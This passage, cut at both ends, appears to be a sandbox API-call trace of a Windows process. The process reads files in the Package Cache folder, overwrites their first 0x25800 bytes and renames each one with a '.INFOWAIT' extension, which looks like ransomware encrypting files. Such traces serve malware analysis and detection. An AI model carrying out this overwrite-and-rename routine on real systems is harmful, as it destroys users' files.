| out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.459] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.468] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.469] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.469] CloseHandle (hObject=0xad4) returned 1 [0137.469] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" [0137.469] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.INFOWAIT" [0137.469] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.infowait")) returned 1 [0137.470] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.471] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.472] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.472] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.472] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf36be [0137.472] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.473] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.473] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.497] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.507] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.507] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.508] CloseHandle (hObject=0xad4) returned 1 [0137.508] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" [0137.508] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.INFOWAIT" [0137.508] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab.infowait")) returned 1 [0137.509] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.510] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.511] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.511] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.511] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x23000 [0137.511] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.512] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.512] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x23000, lpOverlapped=0x0) returned 1 [0137.553] VirtualAlloc (lpAddress=0x0, dwSize=0x23000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.562] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.562] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x23000, lpOverlapped=0x0) returned 1 [0137.563] CloseHandle (hObject=0xad4) returned 1 [0137.563] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" [0137.563] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.INFOWAIT" [0137.563] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.infowait")) returned 1 [0137.564] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.564] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.565] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.565] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0137.567] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x28e [0137.567] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.568] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.568] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x28e, lpOverlapped=0x0) returned 1 [0137.569] VirtualAlloc (lpAddress=0x0, dwSize=0x28e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.569] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.570] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x28e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x28e, lpOverlapped=0x0) returned 1 [0137.570] CloseHandle (hObject=0xad0) returned 1 [0137.570] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0137.570] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.INFOWAIT" [0137.570] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.infowait")) returned 1 [0137.571] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.572] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.572] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.572] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0137.573] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6f428 [0137.573] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.573] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.573] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.583] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.593] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.593] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.594] CloseHandle (hObject=0xad0) returned 1 [0137.594] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" [0137.594] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.INFOWAIT" [0137.594] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.infowait")) returned 1 [0137.595] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.596] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.597] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.597] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0137.597] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x588124 [0137.597] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.598] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.598] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.676] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.686] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.686] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.687] CloseHandle (hObject=0xad0) returned 1 [0137.687] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" [0137.687] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.INFOWAIT" [0137.687] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.infowait")) returned 1 [0137.688] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.689] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.690] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.690] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.744] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25000 [0137.744] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.744] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.744] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25000, lpOverlapped=0x0) returned 1 [0137.801] VirtualAlloc (lpAddress=0x0, dwSize=0x25000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.814] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.814] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25000, lpOverlapped=0x0) returned 1 [0137.814] CloseHandle (hObject=0xad4) returned 1 [0137.815] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" [0137.815] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.INFOWAIT" [0137.815] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.infowait")) returned 1 [0137.818] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.819] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.820] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.821] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.821] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x29a [0137.821] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.821] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 